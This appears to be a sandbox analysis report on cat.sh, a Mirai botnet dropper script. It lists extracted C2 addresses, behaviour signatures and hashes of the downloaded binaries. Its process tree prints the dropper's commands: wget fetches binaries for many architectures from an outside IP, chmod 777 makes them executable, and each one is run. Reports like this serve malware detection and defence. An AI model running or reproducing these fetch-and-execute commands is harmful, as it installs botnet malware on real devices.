Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/09/2026, 18:29

General

  • Target
    cat.sh
  • Size 1KB
  • Sample260930-w4y2dsfc29
  • SHA256 1a28663d0e7b7e29d47fb3a77c100b4225bce827275a8d54458f0e504f678467
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • idknotherefucku.followz.st

  • 45.131.64.158

Extracted

Family
  • mirai

C2
  • idknotherefucku.followz.st

  • 45.131.64.158

Extracted

Family
  • mirai

C2
  • idknotherefucku.followz.st

  • 45.131.64.158

Extracted

Family
  • mirai

C2
  • idknotherefucku.followz.st

  • 45.131.64.158

Extracted

Family
  • mirai

C2
  • idknotherefucku.followz.st

  • 45.131.64.158

Extracted

Family
  • mirai

C2
  • idknotherefucku.followz.st

  • 45.131.64.158

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai Motorola payload 1 IoCs
  • Mirai Renesas payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Traces itself 2 IoCs

    Traces itself to prevent debugging attempts

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:1492
    • /usr/bin/wget
      wget http://176.65.139.226/x86_64
      2⤵
      • Writes file to tmp directory
      PID:1493
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:1498
    • /tmp/x86_64
      ./x86_64 php.x86
      2⤵
      • Traces itself
      • Changes its process name
      • Reads runtime system information
      PID:1499
    • /usr/bin/wget
      wget http://176.65.139.226/m68k
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /bin/chmod
      chmod 777 m68k
      2⤵
      • File and Directory Permissions Modification
      PID:1506
    • /tmp/m68k
      ./m68k php.m68k
      2⤵
        PID:1507
      • /usr/bin/wget
        wget http://176.65.139.226/mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1509
      • /bin/chmod
        chmod 777 mips
        2⤵
        • File and Directory Permissions Modification
        PID:1510
      • /tmp/mips
        ./mips php.mips
        2⤵
        • System Network Configuration Discovery
        PID:1511
      • /usr/bin/wget
        wget http://176.65.139.226/mpsl
        2⤵
        • Writes file to tmp directory
        PID:1513
      • /bin/chmod
        chmod 777 mpsl
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/mpsl
        ./mpsl php.mpsl
        2⤵
          PID:1515
        • /usr/bin/wget
          wget http://176.65.139.226/ppc
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /bin/chmod
          chmod 777 ppc
          2⤵
          • File and Directory Permissions Modification
          PID:1518
        • /tmp/ppc
          ./ppc php.ppc
          2⤵
            PID:1519
          • /usr/bin/wget
            wget http://176.65.139.226/spc
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /bin/chmod
            chmod 777 spc
            2⤵
            • File and Directory Permissions Modification
            PID:1522
          • /tmp/spc
            ./spc php.spc
            2⤵
              PID:1523
            • /usr/bin/wget
              wget http://176.65.139.226/sh4
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /bin/chmod
              chmod 777 sh4
              2⤵
              • File and Directory Permissions Modification
              PID:1526
            • /tmp/sh4
              ./sh4 php.sh4
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://176.65.139.226/arc
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/chmod
                chmod 777 arc
                2⤵
                • File and Directory Permissions Modification
                PID:1530
              • /tmp/arc
                ./arc php.arc
                2⤵
                  PID:1531
                • /usr/bin/wget
                  wget http://176.65.139.226/x86
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /bin/chmod
                  chmod 777 x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1534
                • /tmp/x86
                  ./x86 php.x86
                  2⤵
                  • Traces itself
                  • Reads process memory
                  • Changes its process name
                  • Reads runtime system information
                  PID:1535
                • /usr/bin/wget
                  wget http://176.65.139.226/arm
                  2⤵
                  • Writes file to tmp directory
                  PID:1538
                • /bin/chmod
                  chmod 777 arm
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1539
                • /tmp/arm
                  ./arm php.arm4
                  2⤵
                    PID:1540
                  • /usr/bin/wget
                    wget http://176.65.139.226/arm5
                    2⤵
                    • Writes file to tmp directory
                    PID:1542
                  • /bin/chmod
                    chmod 777 arm5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1543
                  • /tmp/arm5
                    ./arm5 php.arm5
                    2⤵
                      PID:1544
                    • /usr/bin/wget
                      wget http://176.65.139.226/arm6
                      2⤵
                      • Writes file to tmp directory
                      PID:1546
                    • /bin/chmod
                      chmod 777 arm6
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1547
                    • /tmp/arm6
                      ./arm6 php.arm6
                      2⤵
                        PID:1548
                      • /usr/bin/wget
                        wget http://176.65.139.226/arm7
                        2⤵
                        • Writes file to tmp directory
                        PID:1550
                      • /bin/chmod
                        chmod 777 arm7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1551
                      • /tmp/arm7
                        ./arm7 php.arm7
                        2⤵
                          PID:1552

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            arc

                            • Path /tmp/arc
                            • Size 129KB
                            • SHA256 9b1f88a9438254cf36932cf0ab696411ac2891c698f9d98da65569178702a0dd
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arm

                            • Path /tmp/arm
                            • Size 42KB
                            • SHA256 51e8bd8f4e5b43fa500919cbfd3336d76ad99f84867112a6ecb8adcda0adba41
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arm5

                            • Path /tmp/arm5
                            • Size 25KB
                            • SHA256 276b9063aa94145ff3ffc85d0774827b281c0e2171c9897b841a1aa4aa13e95b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arm6

                            • Path /tmp/arm6
                            • Size 45KB
                            • SHA256 3eddc12d4ba25b88cb0959661c4e90ffe89179c9f5cac591bdd00505536d378f
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arm7

                            • Path /tmp/arm7
                            • Size 67KB
                            • SHA256 167eb5695a7e3ea5edc97ff1cc50f1992955e083994df2074b2811fd0487afe8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            m68k

                            • Path /tmp/m68k
                            • Size 98KB
                            • SHA256 d7f5cd3b5df8d19f8f1b89ce9e1562b535c1c07706dfdf6780ffd277b38c3ee6
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mips

                            • Path /tmp/mips
                            • Size 44KB
                            • SHA256 94e2c0f81f4831a6a1eeb60b2174bec1d51039debc8e0e440cff8853551a399e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mpsl

                            • Path /tmp/mpsl
                            • Size 45KB
                            • SHA256 39939eac4508c4a5bb29de62795fe61d409f9d2e6dd8c4552b4c2159fe7b0432
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            ppc

                            • Path /tmp/ppc
                            • Size 41KB
                            • SHA256 00660f4fff4ca116abf4c18312685c38d50f11bc5410a77c87e90ce1ef4cd1cd
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            sh4

                            • Path /tmp/sh4
                            • Size 81KB
                            • SHA256 fd4f7fa0e014ef1a139c4074bc2d11a58955f219e0debd3ab60d2d18b910e6a3
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            spc

                            • Path /tmp/spc
                            • Size 94KB
                            • SHA256 590719983a25e257f9cff35a338db7ad6f09953f3f3730ebc7b3065fb3a4ade3
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            x86

                            • Path /tmp/x86
                            • Size 40KB
                            • SHA256 2d906364a04607ff90a84bbda506f0bbb9c657d3b91a749e31b3b8cd7d8a5470
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            x86_64

                            • Path /tmp/x86_64
                            • Size 43KB
                            • SHA256 85101584bc0d4334ba8f970cae4ef1d2d4fddd324b2e99a32dc5714f1cd73b69
                            • MD5 SHA1 SHA512 SSDEEP TLSH